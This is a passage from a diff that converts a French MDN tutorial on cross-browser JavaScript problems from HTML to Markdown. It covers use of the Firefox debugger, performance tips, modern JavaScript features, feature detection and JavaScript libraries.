`console.log()` pour l'afficher et voir ce qu'il se passe. -<h4 id="Utiliser_le_débogueur_JavaScript">Utiliser le débogueur JavaScript</h4> +#### Utiliser le débogueur JavaScript -<p>Nous avons résolu un problème, mais nous sommes toujours coincés avec le message d'erreur "TypeError: heroes is undefined", reporté à la ligne 51. Examinons-la maintenant, en utilisant une fonctionnalité plus sophistiquée des outils de développement web : le <a href="/fr/docs/Outils/D%C3%A9bogueur">débogueur JavaScript</a> comme il est appellé dans Firefox.</p> +Nous avons résolu un problème, mais nous sommes toujours coincés avec le message d'erreur "TypeError: heroes is undefined", reporté à la ligne 51. Examinons-la maintenant, en utilisant une fonctionnalité plus sophistiquée des outils de développement web : le [débogueur JavaScript](/fr/docs/Outils/D%C3%A9bogueur) comme il est appellé dans Firefox. -<div class="note"> -<p><strong>Note :</strong> Des outils similaires sont disponibles dans d'autres navigateurs ; le <a href="https://developers.google.com/web/tools/chrome-devtools/#sources">Sources tab</a> dans Chrome, le Débogueur dans Safari (voir <a href="https://developer.apple.com/safari/tools/">Safari Web Development Tools</a>), etc.</p> -</div> +> **Note :** Des outils similaires sont disponibles dans d'autres navigateurs ; le [Sources tab](https://developers.google.com/web/tools/chrome-devtools/#sources) dans Chrome, le Débogueur dans Safari (voir [Safari Web Development Tools](https://developer.apple.com/safari/tools/)), etc. -<p>Dans Firefox, le Débogueur se présente comme suit :</p> +Dans Firefox, le Débogueur se présente comme suit : -<p><img alt="" src="debugger-tab.png"></p> + -<ul> - <li>Sur la gauche, vous pouvez sélectionner le script que vous voulez déboguer (dans ce cas nous n'en n'avons qu'un seul).</li> - <li>Le panneau central montre le code du script sélectionné.</li> - <li>Le panneau de droite montre des détails utiles concernant l'environnement courant — les <em>Point d'arrêts</em>, la <em>Pile d'exécution</em>, et les <em>Portées</em> actuellement actives.</li> -</ul> +- Sur la gauche, vous pouvez sélectionner le script que vous voulez déboguer (dans ce cas nous n'en n'avons qu'un seul). +- Le panneau central montre le code du script sélectionné. +- Le panneau de droite montre des détails utiles concernant l'environnement courant — les _Point d'arrêts_, la _Pile d'exécution_, et les _Portées_ actuellement actives. -<p>La fonction principale de ces outils est la possibilité d'ajouter des points d'arrêt au code — ceux sont des points où l'exécution du code s'arrête, et à ce moment vous pouvez examiner l'environnement dans son état courant et voir ce qu'il se passe.</p> +La fonction principale de ces outils est la possibilité d'ajouter des points d'arrêt au code — ceux sont des points où l'exécution du code s'arrête, et à ce moment vous pouvez examiner l'environnement dans son état courant et voir ce qu'il se passe. -<p>Mettons-nous au travail. Pour commencer, nous savons que l'erreur est renvoyée à la ligne 51. Cliquez sur la ligne numéro 51 dans le panneau central pour y ajouter un point d'arrêt (vous verrez une flèche bleue apparaître au-dessus de celle-ci). Maintenant rafraichissez la page (Cmd/Ctrl + R) — la navigateur arrêtera l'exécution du code à la ligne 51. A ce moment, le panneau de droite va se mettre à jour pour montrer des informations très utiles.</p> +Mettons-nous au travail. Pour commencer, nous savons que l'erreur est renvoyée à la ligne 51. Cliquez sur la ligne numéro 51 dans le panneau central pour y ajouter un point d'arrêt (vous verrez une flèche bleue apparaître au-dessus de celle-ci). Maintenant rafraichissez la page (Cmd/Ctrl + R) — la navigateur arrêtera l'exécution du code à la ligne 51. A ce moment, le panneau de droite va se mettre à jour pour montrer des informations très utiles. -<p><img alt="" src="breakpoint.png"></p> + -<ul> - <li>En-dessous de <em>Points d'arrêt</em>, vous verrez le détail du point d'arrêt que vous avez configuré.</li> - <li>En-dessous de <em>Pile d'exécution</em>, vous verrez deux entrées — c'est principalement une liste de série de fonctions qui ont été appellées pour amener la fonction courante à être appellée. En haut, nous avons <code>showHeroes()</code> la fonction dans laquelle nous sommes actuellement, et en-dessous nous avons <code>request.onload</code>, qui stocke la fonction de gestion d'évènement contenant l'appel à <code>showHeroes()</code>.</li> - <li>En-dessous de <em>Portées</em>, vous verrez la portée active courante pour la fonction que nous sommes en train d'observer. Nous n'en n'avons que deux — <code>showHeroes</code>, et <code>Window</code> (la portée globale). Chaque portée peut être déployée pour montrer les valeurs des variables à l'intérieur de la portée au moment où l'exécution du code était arrêtée.</li> -</ul> +- En-dessous de _Points d'arrêt_, vous verrez le détail du point d'arrêt que vous avez configuré. +- En-dessous de _Pile d'exécution_, vous verrez deux entrées — c'est principalement une liste de série de fonctions qui ont été appellées pour amener la fonction courante à être appellée. En haut, nous avons `showHeroes()` la fonction dans laquelle nous sommes actuellement, et en-dessous nous avons `request.onload`, qui stocke la fonction de gestion d'évènement contenant l'appel à `showHeroes()`. +- En-dessous de _Portées_, vous verrez la portée active courante pour la fonction que nous sommes en train d'observer. Nous n'en n'avons que deux — `showHeroes`, et `Window` (la portée globale). Chaque portée peut être déployée pour montrer les valeurs des variables à l'intérieur de la portée au moment où l'exécution du code était arrêtée. -<p>Ici, nous pouvons obtenir des informations très utiles.</p> +Ici, nous pouvons obtenir des informations très utiles. -<ol> - <li>Développez la portée <code>showHeroes</code> — vous pouvez voir depuis celle-ci que la variable heroes n'est pas définie, indiquant qu'accèder à la propriété <code>members</code> de <code>jsonObj</code> (première ligne de la fonction) ne marche pas.</li> - <li>Vous pouvez également voir que la variable <code>jsonObj</code> stock une chaîne de caractères, pas un objet JSON.</li> - <li>En examinant plus loin la pile d'exécutuion, cliquez sur <code>request.onload</code> dans la section <em>Pile d'exécution</em>. La vue va se mettre à jour pour afficher la fonction <code>request.onload</code> dans le panneau central, et sa portée dans la section <em>Portée</em><em>s</em>.</li> - <li>Maintenant si vous développez la portée de <code>request.onload</code>, vous verrez que la variable <code>superHeroes</code> est également une chaîne de caractères, pas un objet. C'est la solution — notre appel <code><a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> retourne le JSON comme du texte, pas comme du JSON.</li> -</ol> +1. Développez la portée `showHeroes` — vous pouvez voir depuis celle-ci que la variable heroes n'est pas définie, indiquant qu'accèder à la propriété `members` de `jsonObj` (première ligne de la fonction) ne marche pas. +2. Vous pouvez également voir que la variable `jsonObj` stock une chaîne de caractères, pas un objet JSON. +3. En examinant plus loin la pile d'exécutuion, cliquez sur `request.onload` dans la section _Pile d'exécution_. La vue va se mettre à jour pour afficher la fonction `request.onload` dans le panneau central, et sa portée dans la section _Portée\*\*s_. +4. Maintenant si vous développez la portée de `request.onload`, vous verrez que la variable `superHeroes` est également une chaîne de caractères, pas un objet. C'est la solution — notre appel [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) retourne le JSON comme du texte, pas comme du JSON. -<div class="note"> -<p><strong>Note :</strong> Nous aimerions que vous essayez de résoudre ce problème par vous-même. Pour vous donner un indice, vous avez le choix entre <a href="/fr/docs/Web/API/XMLHttpRequest/responseType">tell the XMLHttpRequest object explicitly to return JSON format</a>, ou <a href="/fr/docs/Learn/JavaScript/Objects/JSON#Convertion_entre_objets_et_textes">conversion entre objet et texte</a> après l'arrivée de la réponse. Si vous restez bloqué, consultez notre exemple <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fixed-ajax.html">fixed-ajax.html</a>.</p> -</div> +> **Note :** Nous aimerions que vous essayez de résoudre ce problème par vous-même. Pour vous donner un indice, vous avez le choix entre [tell the XMLHttpRequest object explicitly to return JSON format](/fr/docs/Web/API/XMLHttpRequest/responseType), ou [conversion entre objet et texte](/fr/docs/Learn/JavaScript/Objects/JSON#Convertion_entre_objets_et_textes) après l'arrivée de la réponse. Si vous restez bloqué, consultez notre exemple [fixed-ajax.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fixed-ajax.html). -<div class="note"> -<p><strong>Note :</strong> L'onglet débogueur a tant d'autres fonctionnalités utiles que nous n'aborderons pas ici, par exemple les points d'arrêt conditionnels et les expressions espionnes. Pour bien plus d'informations, voyez la page du <a href="/fr/docs/Outils/D%C3%A9bogueur">Débogueur</a>.</p> -</div> +> **Note :** L'onglet débogueur a tant d'autres fonctionnalités utiles que nous n'aborderons pas ici, par exemple les points d'arrêt conditionnels et les expressions espionnes. Pour bien plus d'informations, voyez la page du [Débogueur](/fr/docs/Outils/D%C3%A9bogueur). -<h3 id="Les_problèmes_de_performance">Les problèmes de performance</h3> +### Les problèmes de performance -<p>Dès que vos applis vont devenir plus complexes vous allez commencer à utiliser plus de JavaScript, vous pouvez commencer à rencontrer des problèmes de performances, particulièrement lorsque vous visionnez vos applis sur des appareils plus lents. La performance est un gros sujet, et nous n'avons pas le temps de le couvrir en détail ici. Voici quelques conseils rapides :</p> +Dès que vos applis vont devenir plus complexes vous allez commencer à utiliser plus de JavaScript, vous pouvez commencer à rencontrer des problèmes de performances, particulièrement lorsque vous visionnez vos applis sur des appareils plus lents. La performance est un gros sujet, et nous n'avons pas le temps de le couvrir en détail ici. Voici quelques conseils rapides : -<ul> - <li>Eviter de charger plus de JavaSacript que nécessaire, réunissez vos scripts dans un seul fichier en utilisant une solution comme <a href="http://browserify.org/">Browserify</a>. En général, réduire le nombre de requêtes HTTP est très bon pour la performance.</li> - <li>S'assurer que vos fichiers sont le plus petits en les minifiant avant de les charger sur votre serveur de production. Minifier réduit tout le code en une seule et immense ligne, donnant au fichier une taille beaucoup moins importante. C'est vilain, mais vous n'avez pas besoin de la lire lorsque c'est terminé ! Cette tâche est la mieux réalisée avec un outil de minification comme <a href="https://github.com/mishoo/UglifyJS2">Uglify</a> (il y aussi une version en ligne — voir <a href="https://jscompress.com/">JSCompress.com</a>).</li> - <li>Lorsque que vous utilisez des APIs, assurez-vous de désactiver les fonctionnalités de l'API quand elles ne sont pas utilisées ; certains appels d'API peuvent être très coûteux en puissance de traitement. Par exemple, lorsque vous montrez un stream video, assurez-vous que s'est désactivé quand vous ne pouvez pas le voir. Quand vous tracer la localisation d'un appareil en utilisant des appels répétés de Géolocalisation, assurez-vous de le désactiver quand l'utilisateur arrête de l'utiliser.</li> - <li>Les animations peuvent être très coûteuses pour la performance. Beaucoup de librairies JavaScript fournissent des possibilités d'animation programmée avec JavaScript, mais c'est beaucoup plus rentable de faire les animations via les fonctionnalités natives des navigateurs comme <a href="/fr/docs/Web/CSS/Animations_CSS">les Animations CSS</a> (ou la naissante <a href="/fr/docs/Web/API/Web_Animations_API">Web Animations API</a>) qu'en JavaScript. Lisez <a href="https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/">Animating like you just don’t care with Element.animate</a> pour des théories très utiles sur l'animation coûteuse, des conseils sur comment améliorer la performance des animations, et des informations à propos de l'API Web Animations.</li> -</ul> +- Eviter de charger plus de JavaSacript que nécessaire, réunissez vos scripts dans un seul fichier en utilisant une solution comme [Browserify](http://browserify.org/). En général, réduire le nombre de requêtes HTTP est très bon pour la performance. +- S'assurer que vos fichiers sont le plus petits en les minifiant avant de les charger sur votre serveur de production. Minifier réduit tout le code en une seule et immense ligne, donnant au fichier une taille beaucoup moins importante. C'est vilain, mais vous n'avez pas besoin de la lire lorsque c'est terminé ! Cette tâche est la mieux réalisée avec un outil de minification comme [Uglify](https://github.com/mishoo/UglifyJS2) (il y aussi une version en ligne — voir [JSCompress.com](https://jscompress.com/)). +- Lorsque que vous utilisez des APIs, assurez-vous de désactiver les fonctionnalités de l'API quand elles ne sont pas utilisées ; certains appels d'API peuvent être très coûteux en puissance de traitement. Par exemple, lorsque vous montrez un stream video, assurez-vous que s'est désactivé quand vous ne pouvez pas le voir. Quand vous tracer la localisation d'un appareil en utilisant des appels répétés de Géolocalisation, assurez-vous de le désactiver quand l'utilisateur arrête de l'utiliser. +- Les animations peuvent être très coûteuses pour la performance. Beaucoup de librairies JavaScript fournissent des possibilités d'animation programmée avec JavaScript, mais c'est beaucoup plus rentable de faire les animations via les fonctionnalités natives des navigateurs comme [les Animations CSS](/fr/docs/Web/CSS/Animations_CSS) (ou la naissante [Web Animations API](/fr/docs/Web/API/Web_Animations_API)) qu'en JavaScript. Lisez [Animating like you just don’t care with Element.animate](https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/) pour des théories très utiles sur l'animation coûteuse, des conseils sur comment améliorer la performance des animations, et des informations à propos de l'API Web Animations. -<div class="note"> -<p><strong>Note :</strong> Le <a href="https://www.smashingmagazine.com/2012/11/writing-fast-memory-efficient-javascript/" rel="bookmark" title="Read 'Writing Fast, Memory-Efficient JavaScript'">Writing Fast, Memory-Efficient JavaScript</a> de Addy Osmani contient beaucoup de détails et de astuces impeccables pour améliorer les performances en JavaScript.</p> -</div> +> **Note :** Le [Writing Fast, Memory-Efficient JavaScript](https://www.smashingmagazine.com/2012/11/writing-fast-memory-efficient-javascript/ "Read 'Writing Fast, Memory-Efficient JavaScript'") de Addy Osmani contient beaucoup de détails et de astuces impeccables pour améliorer les performances en JavaScript. -<h2 id="Les_problèmes_JavaScript_en_navigateur_croisé">Les problèmes JavaScript en navigateur croisé</h2> +## Les problèmes JavaScript en navigateur croisé -<p>Dans cette section, nous regarderons certains des problèmes JavaScript les plus courants en navigateur croisé. Nous la décomposerons en :</p> +Dans cette section, nous regarderons certains des problèmes JavaScript les plus courants en navigateur croisé. Nous la décomposerons en : -<ul> - <li>Utiliser les fonctionnalités JavaScript principales et modernes</li> - <li>Utiliser les fonctionnalités modernes de l'API Web</li> - <li>Utiliser des mauvais détecteurs de code de navigateur</li> - <li>Les problèmes de performance</li> -</ul> +- Utiliser les fonctionnalités JavaScript principales et modernes +- Utiliser les fonctionnalités modernes de l'API Web +- Utiliser des mauvais détecteurs de code de navigateur +- Les problèmes de performance -<h3 id="Utiliser_des_fonctionnalités_JavaScriptAPI_modernes">Utiliser des fonctionnalités JavaScript/API modernes</h3> +### Utiliser des fonctionnalités JavaScript/API modernes -<p>Dans l'<a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_vieux_navigateurs_ne_supportant_pas_les_fonctionnalit%C3%A9s_r%C3%A9centes">article précédent</a> nous décrivions quelques façons dont les erreurs HTML et CSS et les fonctionnalités non reconnues peuvent être gérées grâce à la nature du langage. JavaScript n'est toutefois pas autant permissif que le HTML et le CSS — si le moteur de JavaScript rencontre une faute ou une syntaxe inconnue, le plus souvent il renverra des erreurs.</p> +Dans l'[article précédent](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_vieux_navigateurs_ne_supportant_pas_les_fonctionnalit%C3%A9s_r%C3%A9centes) nous décrivions quelques façons dont les erreurs HTML et CSS et les fonctionnalités non reconnues peuvent être gérées grâce à la nature du langage. JavaScript n'est toutefois pas autant permissif que le HTML et le CSS — si le moteur de JavaScript rencontre une faute ou une syntaxe inconnue, le plus souvent il renverra des erreurs. -<p>Il y a plusieurs fonctionnalités modernes du langage JavaScript décrites dans les versions récentes des spécifications (<a href="/fr/docs/Web/JavaScript/Nouveaut%C3%A9s_et_historique_de_JavaScript/Support_ECMAScript_2015_par_Mozilla">ECMAScript 6</a> / <a href="/fr/docs/Web/JavaScript/Nouveaut%C3%A9s_et_historique_de_JavaScript/Support_ECMAScript_Next_par_Mozilla">ECMAScript Next</a>) qui ne marchent tout simplement pas sur les plus vieux navigateurs. Certaines d'entre elles sont des améliorations syntaxiques (essentiellement une façon plus simple, adéquate d'écrire ce que vous pouvez déjà écrire en utilisant des fonctionnalités existantes), et certaines offrent de nouvelles possibilités intéressantes.</p> +Il y a plusieurs fonctionnalités modernes du langage JavaScript décrites dans les versions récentes des spécifications ([ECMAScript 6](/fr/docs/Web/JavaScript/Nouveaut%C3%A9s_et_historique_de_JavaScript/Support_ECMAScript_2015_par_Mozilla) / [ECMAScript Next](/fr/docs/Web/JavaScript/Nouveaut%C3%A9s_et_historique_de_JavaScript/Support_ECMAScript_Next_par_Mozilla)) qui ne marchent tout simplement pas sur les plus vieux navigateurs. Certaines d'entre elles sont des améliorations syntaxiques (essentiellement une façon plus simple, adéquate d'écrire ce que vous pouvez déjà écrire en utilisant des fonctionnalités existantes), et certaines offrent de nouvelles possibilités intéressantes. -<p>Par exemple :</p> +Par exemple : -<ul> - <li>Les <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise">Promises</a> sont une super nouvelle fonctionnalité pour réaliser des opérations asynchrones et s'assurer que c'est opérations sont complètes avant que le code qui s'appuie sur eux ne soit utiliser pour autre chose. A titre d'exemple, l'<a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch">API Fetch</a> (un équivalent moderne de <a href="/fr/docs/Web/API/XMLHttpRequest">XMLHTTPRequest</a>) utilise les promises pour rapporter les ressources à travers le réseau et s'assurer que la réponse a été retournée avant qu'elles ne soient utilisées (par exemple afficher une image dans un élément {{htmlelement("img")}} ). Elles ne sont pas du tout supportées par IE mais sont supportées par tous les navigateurs modernes.</li> - <li>Les fonctions fléchées apportent une syntaxe courte, plus convenable pour écrire des <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">anonymous functions</a>, ce qui a aussi d'autres avantages (voir <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">Fonctions Fléchées</a>). Comme exemple rapide, voir <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html">arrow-function.html </a>(voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html">code source</a>). Les fonctions fléchées sont supportées par tous les navigateurs modernes, excepté par IE et Safari.</li> - <li>Déclarer <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">le mode strict</a> en haut de votre code JavaScript l'amène à être décomposé en une liste de règles plus strictes, impliquant que plus d'avertissements et d'erreurs seront retournés, et certaines choses seront rejetées qui auraient normalement été acceptées. C'est probablement une bonne idée d'utiliser le mode stricte, comme il permet une amélioration et une meilleur efficacité du code, bien qu'il ait un support limité/incomplet selon les navigateurs (voir <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode#Le_mode_strict_dans_les_navigateurs">Le mode strict dans les navigateurs</a>).</li> - <li><a href="/fr/docs/Web/JavaScript/Tableaux_typ%C3%A9s">Les tableaux typés</a> permettent au code JavaScript d'accéder et de manipuler des données binaires brutes, ce qui est indispensable pour les APIs navigateur par exemple qui commencent à manipuler les streams des données vidéo et audio brutes.</li> -</ul> +- Les [Promises](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) sont une super nouvelle fonctionnalité pour réaliser des opérations asynchrones et s'assurer que c'est opérations sont complètes avant que le code qui s'appuie sur eux ne soit utiliser pour autre chose. A titre d'exemple, l'[API Fetch](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch) (un équivalent moderne de [XMLHTTPRequest](/fr/docs/Web/API/XMLHttpRequest)) utilise les promises pour rapporter les ressources à travers le réseau et s'assurer que la réponse a été retournée avant qu'elles ne soient utilisées (par exemple afficher une image dans un élément {{htmlelement("img")}} ). Elles ne sont pas du tout supportées par IE mais sont supportées par tous les navigateurs modernes. +- Les fonctions fléchées apportent une syntaxe courte, plus convenable pour écrire des [anonymous functions](/fr/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions), ce qui a aussi d'autres avantages (voir [Fonctions Fléchées](/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es)). Comme exemple rapide, voir [arrow-function.html ](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html)(voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html)). Les fonctions fléchées sont supportées par tous les navigateurs modernes, excepté par IE et Safari. +- Déclarer [le mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode) en haut de votre code JavaScript l'amène à être décomposé en une liste de règles plus strictes, impliquant que plus d'avertissements et d'erreurs seront retournés, et certaines choses seront rejetées qui auraient normalement été acceptées. C'est probablement une bonne idée d'utiliser le mode stricte, comme il permet une amélioration et une meilleur efficacité du code, bien qu'il ait un support limité/incomplet selon les navigateurs (voir [Le mode strict dans les navigateurs](/fr/docs/Web/JavaScript/Reference/Strict_mode#Le_mode_strict_dans_les_navigateurs)). +- [Les tableaux typés](/fr/docs/Web/JavaScript/Tableaux_typ%C3%A9s) permettent au code JavaScript d'accéder et de manipuler des données binaires brutes, ce qui est indispensable pour les APIs navigateur par exemple qui commencent à manipuler les streams des données vidéo et audio brutes. -<p>Il y a également beaucoup de nouvelles APIs qui apparaissent dans les navigateurs récents, qui ne fonctionnent pas sur les plus vieux navigateurs, par exemple :</p> +Il y a également beaucoup de nouvelles APIs qui apparaissent dans les navigateurs récents, qui ne fonctionnent pas sur les plus vieux navigateurs, par exemple : -<ul> - <li>L'<a href="/fr/docs/Web/API/API_IndexedDB">API IndexedDB</a>, L'<a href="/fr/docs/Web/API/Web_Storage_API">API Web Storage</a>, et d'autres pour stocker des données d'un site web côté client.</li> - <li>L'<a href="/fr/docs/Web/API/Web_Workers_API">API Web Workers</a> pour exécuter du JavaScript dans un thread séparé, aidant à améliorer la performance.</li> - <li>L'<a href="/fr/Apprendre/WebGL">API WebGl</a> pour des graphiques 3D réels.</li> - <li>L'<a href="/fr/docs/Web/API/Web_Audio_API">API Web Audio</a> pour de la manipulation audio avancée.</li> - <li>L'<a href="/fr/docs/Web/API/WebRTC_API">API WebRTC</a> pour la connectivité multi-personne, de la vidéo/audio en temps réel (par ex. une vidéo conférence)</li> - <li>L'<a href="/fr/docs/Web/API/WebVR_API">API WebVR</a> pour concevoir des expériences en réalité virtuelle dans le navigateur (par ex. contrôler une vue 3D avec de l'introduction de données depuis le disque dur VR)</li> -</ul> +- L'[API IndexedDB](/fr/docs/Web/API/API_IndexedDB), L'[API Web Storage](/fr/docs/Web/API/Web_Storage_API), et d'autres pour stocker des données d'un site web côté client. +- L'[API Web Workers](/fr/docs/Web/API/Web_Workers_API) pour exécuter du JavaScript dans un thread séparé, aidant à améliorer la performance. +- L'[API WebGl](/fr/Apprendre/WebGL) pour des graphiques 3D réels. +- L'[API Web Audio](/fr/docs/Web/API/Web_Audio_API) pour de la manipulation audio avancée. +- L'[API WebRTC](/fr/docs/Web/API/WebRTC_API) pour la connectivité multi-personne, de la vidéo/audio en temps réel (par ex. une vidéo conférence) +- L'[API WebVR](/fr/docs/Web/API/WebVR_API) pour concevoir des expériences en réalité virtuelle dans le navigateur (par ex. contrôler une vue 3D avec de l'introduction de données depuis le disque dur VR) -<p>Il y a plusieurs stratégies pour gérer les incompatibilités entre navigateurs concernant le support de fonctionnalité ; explorons les plus courantes.</p> +Il y a plusieurs stratégies pour gérer les incompatibilités entre navigateurs concernant le support de fonctionnalité ; explorons les plus courantes. -<div class="note"> -<p><strong>Note :</strong> Ces stratégies n'existent pas dans des endroits distincts — bien sûr, vous pouvez les combiner autant que nécessaire. Par exemple, vous pourriez utiliser une fonction de détection pour déterminer si une fonctionnalité est supportée ; si elle ne l'est pas, vous pouvez ensuite exécuter le code pour charger un polyfill ou une libraire pour gérer le manque de support.</p> -</div> +> **Note :** Ces stratégies n'existent pas dans des endroits distincts — bien sûr, vous pouvez les combiner autant que nécessaire. Par exemple, vous pourriez utiliser une fonction de détection pour déterminer si une fonctionnalité est supportée ; si elle ne l'est pas, vous pouvez ensuite exécuter le code pour charger un polyfill ou une libraire pour gérer le manque de support. -<h4 id="Fonctionnalité_de_détection">Fonctionnalité de détection</h4> +#### Fonctionnalité de détection -<p>L'idée derrière une fonctionnalité de détection est que vous pouvez exécuter un test pour déterminer si une fonctionnalité est supportée dans le navigateur courant, et ensuite exécuter conditionnellement un code pour fournir une expérience acceptable sur chaque navigateur qui supporte et ne supporte pas la fonctionnalité. A titre d'exemple rapide, l'<a href="/fr/docs/Using_geolocation">API Geolocalisation</a> (qui présente des données de localisation pour l'appareil sur lequel le navigateur est en train d'être exécuté) a un point d'entrée principal pour son utilisation — une propriété <code>geolocation</code> disponible dans l'objet global <a href="/fr/docs/Web/API/Navigator">Navigator</a>. Par conséquent, vous pouvez détecter si le navigateur supporte la géolocalisation ou non en utilisant quelque chose comme suit :</p> +L'idée derrière une fonctionnalité de détection est que vous pouvez exécuter un test pour déterminer si une fonctionnalité est supportée dans le navigateur courant, et ensuite exécuter conditionnellement un code pour fournir une expérience acceptable sur chaque navigateur qui supporte et ne supporte pas la fonctionnalité. A titre d'exemple rapide, l'[API Geolocalisation](/fr/docs/Using_geolocation) (qui présente des données de localisation pour l'appareil sur lequel le navigateur est en train d'être exécuté) a un point d'entrée principal pour son utilisation — une propriété `geolocation` disponible dans l'objet global [Navigator](/fr/docs/Web/API/Navigator). Par conséquent, vous pouvez détecter si le navigateur supporte la géolocalisation ou non en utilisant quelque chose comme suit : -<pre class="brush: js">if("geolocation" in navigator) { +```js +if("geolocation" in navigator) { navigator.geolocation.getCurrentPosition(function(position) { // show the location on a map, perhaps using the Google Maps API }); } else { // Give the user a choice of static maps instead perhaps -}</pre> +} +``` -<p>Vous pouvez également écrire un test de ce type pour une fonctionnalité CSS, par exemple en testant l'existence de <em><a href="/fr/docs/Web/API/HTMLElement/style">element.style.property</a></em> (par ex. <code>paragraph.style.transform !== undefined</code>). Mais autant pour CSS que JavaScript, il est probablement préférable d'utiliser une librairie de fonction de détection établie plutôt que d'écrire la votre tout le temps. Modernizr est la norme standard pour les tests de fonction de détection.</p> +Vous pouvez également écrire un test de ce type pour une fonctionnalité CSS, par exemple en testant l'existence de _[element.style.property](/fr/docs/Web/API/HTMLElement/style)_ (par ex. `paragraph.style.transform !== undefined`). Mais autant pour CSS que JavaScript, il est probablement préférable d'utiliser une librairie de fonction de détection établie plutôt que d'écrire la votre tout le temps. Modernizr est la norme standard pour les tests de fonction de détection. -<p>Enfin, ne confondez pas fonction de détection avec <strong>le détecteur navigateur</strong> (qui détecte quel navigateur en particulier accède au site) — c'est une terrible pratique qui devrait être découragée à tout prix. Voir {{anch("Using bad browser sniffing code")}}, plus tard, pour plus de détails.</p> +Enfin, ne confondez pas fonction de détection avec **le détecteur navigateur** (qui détecte quel navigateur en particulier accède au site) — c'est une terrible pratique qui devrait être découragée à tout prix. Voir {{anch("Using bad browser sniffing code")}}, plus tard, pour plus de détails. -<div class="note"> -<p><strong>Note :</strong> Certaines fonctionnalités sont connues pour être indétectables — voir la liste des <a href="https://github.com/Modernizr/Modernizr/wiki/Undetectables">Undetectables</a> de Modernizr.</p> -</div> +> **Note :** Certaines fonctionnalités sont connues pour être indétectables — voir la liste des [Undetectables](https://github.com/Modernizr/Modernizr/wiki/Undetectables) de Modernizr. -<div class="note"> -<p><strong>Note :</strong> La fonction de détection sera couverte avec beaucoup plus de détails dans son propre article dédié, plus tard dans le module.</p> -</div> +> **Note :** La fonction de détection sera couverte avec beaucoup plus de détails dans son propre article dédié, plus tard dans le module. -<h4 id="Les_librairies">Les librairies</h4> +#### Les librairies -<p>Les librairies JavaScript sont essentiellement une partie externe d'unités de code que vous pouvez attacher à vos pages, afin de vous procurer une quantité de fonctionnalités toutes prêtes qui peuvent être utilisées immédiatement, constituant un gain de temps dans le processus. Beaucoup de librairies ont sûrement été créées parce que leurs développeurs écrivaient une liste de fonctions utiles courantes pour leur faire gagner du temps dans leur futurs projets, et ils décidèrent de les lâcher dans la nature parce que d'autres personnes pourraient aussi les trouver utiles.</p> +Les librairies JavaScript sont essentiellement une partie externe d'unités de code que vous pouvez attacher à vos pages, afin de vous procurer une quantité de fonctionnalités toutes prêtes qui peuvent être utilisées immédiatement, constituant un gain de temps dans le processus. Beaucoup de librairies ont sûrement été créées parce que leurs développeurs écrivaient une liste de fonctions utiles courantes pour leur faire gagner du temps dans leur futurs projets, et ils décidèrent de les lâcher dans la nature parce que d'autres personnes pourraient aussi les trouver utiles. -<p>Les librairies Javascript ont tendance à se réunir en quelques types principaux (certaines librairies serviront plus d'un de ces types) :</p> +Les librairies Javascript ont tendance à se réunir en quelques types principaux (certaines librairies serviront plus d'un de ces types) : -<ul> - <li>Les librairies utilitaires : Fournissent une quantité de fonctions pour rendre les tâches sans intérêts plus simples et moins ennuyantes à gérer. <a href="http://jquery.com/">jQuery</a> par exemple fournit son propre système de sélecteurs et de librairies de manipulation de DOM, pour permettre le choix du type de sélecteur CSS, des éléments en JavaScript et une construction du DOM plus simple. Ce n'est plus aussi important aujourd'hui nous avons des fonctionnalités modernes comme les méthodes {{domxref("Document.querySelector()")}}/{{domxref("Document.querySelectorAll()")}}/{{domxref("Node")}} disponibles selon les navigateurs, mais ça peut toujours être utile quand vous avez besoin de supporter de plus vieux navigateurs.</li> - <li>Les librairies de confort : Rendent les choses difficiles plus facile à faire. Par exemple, l'<a href="/fr/Apprendre/WebGL">API WebGL</a> est vraiment complexe et se révèle difficile à écrire directement, alors la librairie <a href="https://threejs.org/">Three.js</a> (et d'autres) est construite au-dessus de WebGL et apporte une API plus simple pour créer des objets 3D courants, des aspects, des textures etc. L'<a href="/fr/docs/Web/API/Service_Worker_API">API Service Worker </a>est aussi très complexe à utiliser, alors des librairies de code ont commencé à apparaitre pour rendre des cas d'usage des Service Worker plus facile à implémenter (voir le <a href="https://serviceworke.rs/">Service Worker Cookbook</a> pour plusieurs extrait de code utiles).</li> - <li>Les librairies d'effets : Ces librairies sont conçues pour vous permettre d'ajouter facilement des effets spéciaux à votre site web. C'était plus utile quand {{glossary("DHTML")}} était à la mode, et implémentait des effets impliquant beaucoup de JavaScript complexe, mais de nos jours les navigateurs ont construit une quantité de fonctionnalités en CSS3 et des APIs pour implémenter les effets plus facilement. Pour une liste de librairies, se référer à <a href="https://www.javascripting.com/animation/">JavaScripting.com/animation</a>.</li> - <li>Les librairies d'UI : Fournissent des méthodes pour implémenter des fonctionnalités UI complexes qui serait autrement compliquées à implémenter et à faire fonctionner en navigateur croisé, par exemple <a href="http://jqueryui.com/">jQuery UI</a> et <a 